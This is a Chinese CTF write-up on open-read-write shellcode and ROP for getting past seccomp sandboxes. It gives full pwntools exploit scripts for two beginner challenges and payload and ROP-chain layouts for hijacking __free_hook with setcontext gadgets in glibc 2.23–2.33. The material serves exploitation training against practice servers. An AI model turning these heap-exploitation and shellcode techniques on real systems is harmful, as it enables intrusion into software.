背景前置
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
orw_seccomp函数执行了两次prctl函数(出现prctl就是沙箱的题目)
| 12
 
 | 第一次调用prctl函数 ————禁止提权第二次调用prctl函数 ————限制能执行的系统调用只有open,write,exit
 
 | 
意思就是我们不能使用特殊的系统调用getshell,但是可以用open、read、write三个系统调用去读flag
入门级orw
一、pwnable_orw
来自buu上的


首先checksec完,发现只开了canary,放入ida看看。发现,可以输入数据,然后还能对输入的数据进行执行调用。因为这开启沙箱,系统调用是无法执行的,只能通过open打开flag,然后read读到缓冲区上,再通过write泄露出来,从而得到flag

第一个exp是自己去构造执行指令,第二个是用pwntool里面自带的shellcraft的功能。相比之下,第二个会更方便许多
exp的详细解析:(来自https://blog.csdn.net/qq_44768749/article/details/108256099)
打开flag文件,sys_open(file,0,0);系统调用号为5
| 12
 3
 4
 5
 6
 7
 
 | push 0x0  			#字符串结尾push 0x67616c66		#'flag'
 mov ebx,esp
 xor ecx,ecx			#0
 xor edx,edx			#0
 mov eax,0x5			#调用号
 int 0x80			#sys_open(flags,0,0)
 
 | 
 读flag文件,sys_read(3,file,0x100);系统调用号为3
| 12
 3
 4
 5
 
 | mov eax,0x3; mov ecx,ebx;	# ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
 mov ebx,0x3;	# 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
 mov edx,0x100;	#对应字节数
 int 0x80;
 
 | 
输出flag文件内容,sys_write(1,file,0x30);系统调用号为4
| 12
 3
 
 | mov eax,0x4;	# eax = sys_writemov ebx,0x1;	# ebx = unsigned int fd = 1
 int 0x80;
 
 | 
exp1
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | 
 from pwn import *
 context(os="linux",arch="i386",log_level="debug")
 p=remote("node3.buuoj.cn",27948)
 
 shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
 shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
 shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
 p.sendlineafter('shellcode:',shellcode)
 p.interactive()
 
 | 
exp2:
| 12
 3
 4
 5
 6
 7
 8
 
 | 
 from pwn import *
 context(os="linux",arch="i386",log_level="debug")
 p=remote("node3.buuoj.cn",27948)
 shellcode=asm(shellcraft.open('./flag')+shellcraft.read('eax','esp',0x30)+shellcraft.write(1,'esp',0x30))
 p.sendlineafter('shellcode:',shellcode)
 p.interactive()
 
 | 
二、easy_shellcode
来自2021NEEPU 纳新CTF上的一道题

64位,保护全开


跟上面很类似,也是有个直接输入点,然后调用执行输入的数据,借用shellcraft,把寄存器改为64位下的即可获取flag
exp:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | 
 from pwn import *
 p=remote("neepusec.club",18626)
 context.log_level='debug'
 context.os='linux'
 context.arch='amd64'
 shellcode=asm(shellcraft.open('./flag'))
 shellcode+=asm(shellcraft.read('rax','rsp',0x30))
 shellcode+=asm(shellcraft.write(1,'rsp',0x30))
 p.sendlineafter("orw",shellcode)
 p.interactive()
 
 
 | 
堆上orw
前面呢,都是一些有关于orw思想的入门基础题,而比赛中常见的都是堆上的orw
glibc-2.23~2.29
一般在 Glibc2.29以前的 ORW解题思路已经比较清晰,主要是劫持 free_hook 或者 malloc_hook写入 setcontext+53函数中的 gadget,通过 rdi索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains
setcontext+53处的gadget如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | <setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]
 <setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]
 <setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]
 <setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]
 <setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]
 <setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]
 <setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]
 <setcontext+94>:  push   rcx
 <setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]
 <setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]
 <setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]
 <setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]
 <setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]
 <setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]
 <setcontext+125>: xor    eax,eax
 <setcontext+127>: ret
 
 | 
目的是获得一个可执行的权限,需要注意的是mov rsp, [rdi+0xa0]和mov rcx, [rdi+0xa8]。修改rsp的值将会改变栈指针,因此我们就获得了控制栈的能力,修改rcx的值后接着有个push操作将rcx压栈,然后汇编指令按照顺序会执行代码中最后的ret操作,而ret去执行的地址就是压入栈的rcx值,因此修改rcx就获得了控制程序流程的能力
但是为了能执行到这,我们先要做的就是劫持 free_hook 为setcontext + 53的地址,跳转到这边来执行上面的gadgets,但这都不是重点,重点是setcontext + 53上的传参设置。因为都是借用rdi传参,刚好我们执行 free 释放堆块时,传入的第一个参数是堆的地址,是存在rdi上的,所以我们要释放的堆块的地址十分关键,在其偏移0xa0和0xa8的位置分别填上我们存储orw链内容的地址(注意不是orw的第一个指令地址)和一个ret汇编指令的地址
注:为什么不能直接是orw的地址:因为执行完setcontext + 53上的gadget会执行ret,而ret执行的rcx指向的地址,如果rcx装的是mprotect的地址,执行完mprotect就会去执行rsp指向的地址,注意是地址!如果前面直接传入rsp的是orw的第一个指令地址,那么ret执行的是把写在上面的指令作为一个地址解析,直接就会报错了,因为rip获取的是栈顶的值,所以要中转一下,前面写的是另外一个地址(一般就直接在shellcode前八个字节的地方),然后在这个地址上写入的才是shellcode的地址
可以自己算偏移,也可以借用pwntools的SigreturnFrame类直接来构造。此时frame中的rsp和rip对应的就是setcontext的rsp和rcx
| 12
 3
 4
 
 | context.arch = "amd64"frame = SigreturnFrame()
 frame.rsp = shellcode_addr
 frame.rip = ret_addr
 
 | 
例题查看我之前的比赛复现题目:K1ng_in_h3Ap_II,Whats your name
glibc-2.29及以上
但在 Glibc 2.29开始之后 setcontext + 61中的gadget变成了以 rdx索引,因此如果我们按照之前思路的话,还要先通过 ROP控制 RDX的值,如下所示:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | .text:00000000000580DD                 mov     rsp, [rdx+0A0h].text:00000000000580E4                 mov     rbx, [rdx+80h]
 .text:00000000000580EB                 mov     rbp, [rdx+78h]
 .text:00000000000580EF                 mov     r12, [rdx+48h]
 .text:00000000000580F3                 mov     r13, [rdx+50h]
 .text:00000000000580F7                 mov     r14, [rdx+58h]
 .text:00000000000580FB                 mov     r15, [rdx+60h]
 .text:00000000000580FF                 test    dword ptr fs:48h, 2
 ....
 .text:00000000000581C6                 mov     rcx, [rdx+0A8h]
 .text:00000000000581CD                 push    rcx
 .text:00000000000581CE                 mov     rsi, [rdx+70h]
 .text:00000000000581D2                 mov     rdi, [rdx+68h]
 .text:00000000000581D6                 mov     rcx, [rdx+98h]
 .text:00000000000581DD                 mov     r8, [rdx+28h]
 .text:00000000000581E1                 mov     r9, [rdx+30h]
 .text:00000000000581E5                 mov     rdx, [rdx+88h]
 .text:00000000000581EC                 xor     eax, eax
 .text:00000000000581EE                 retn
 
 | 
所以在 glibc-2.29~2.33  是使用新的 gadget 来进行构造出 rop 读 flag,触发方式并未改变,仍旧是选择使用 __free_hook 来触发。
gadget1
这其中用到的 gadget是 getkeyserv_handle+576,其汇编如下
| 12
 3
 
 | mov     rdx, [rdi+8]mov     [rsp+0C8h+var_C8], rax
 call    qword ptr [rdx+20h]
 
 | 
这个 gadget可以通过 rdi 来控制 rdx, 非常好用,而且从 Glibc2.29 以上都可用
控制 rdx之后,我们就可以通过 setcontext来控制其他寄存器了
可以用下面的命令进行查询
| 1
 | ROPgadget --binary libc.so.6 | grep "mov rdx, qword ptr \[rdi"
 | 
这条 gadget 可以配合以下的 gadget 使用,比起 setcontext + 61 更加合适,需要的堆块长度更小。
| 1
 | ROPgadget --binary ./libc-2.31.so | grep "mov rsp, rdx ; ret"
 | 
这两个的结合使用时(因为是把 rdx 赋值给 rsp,所以需要读入新的数据把 rdx + 0x20 指向的 gadget 进行覆盖),可以对分配到 __free_hook 的堆块进行布局,布局如下:
| 12
 3
 
 | gadget1 gadget2
 payload = p64(gadget1) + p64(free_hook + 0x10) + p64(leak + libc.sym['gets']) + p64(0)*3 + p64(gadget2)
 
 | 
然后发送 rop 链子即可。
| 12
 3
 4
 
 | rop = p64(0)*2 + b'./flag\x00\x00'rop += p64(pop_rdi) + p64(free_hook + 0x10) + p64(pop_rsi) + p64(0) + p64(open)
 rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(0x30) +  p64(read)
 rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(0x30) + p64(write)
 
 | 
gadget2
通过 gadget 控制 rbp 的值,从而进行栈迁移,将栈劫持到我们可以控制的堆地址上,并执行预先布置的 rop 链,从而获取 flag
先介绍一下万金油的 gadget svcudp_reply+26,汇编如下:
| 12
 3
 4
 5
 6
 
 | mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18];
 lea r13, [rbp + 0x10];
 mov dword ptr [rbp + 0x10], 0;
 mov rdi, r13;
 call qword ptr [rax + 0x28];
 
 | 
这个 gadgets 主要是通过 rdi控制 rbp进而控制 rax并执行跳转,由于我们已经控制了 rbp的值,因此需要在 rax+0x28的位置部署 leave ;ret 以及最初的 rbp位置也布置 leave ;ret ,让 rsp 再跳一个地方,即可完成栈迁移(因为如果只有一次的话,之前的  rbp + 0x10 和 rbp + 0x18 是无法写入正确写入 rop 的)
从而在我们已经布置好 orw rop链的位置伪造栈地址并劫持控制流,最终读取flag
来源:https://www.anquanke.com/post/id/236832
            http://blog.eonew.cn/archives/993
            https://blog.csdn.net/A951860555/article/details/118268484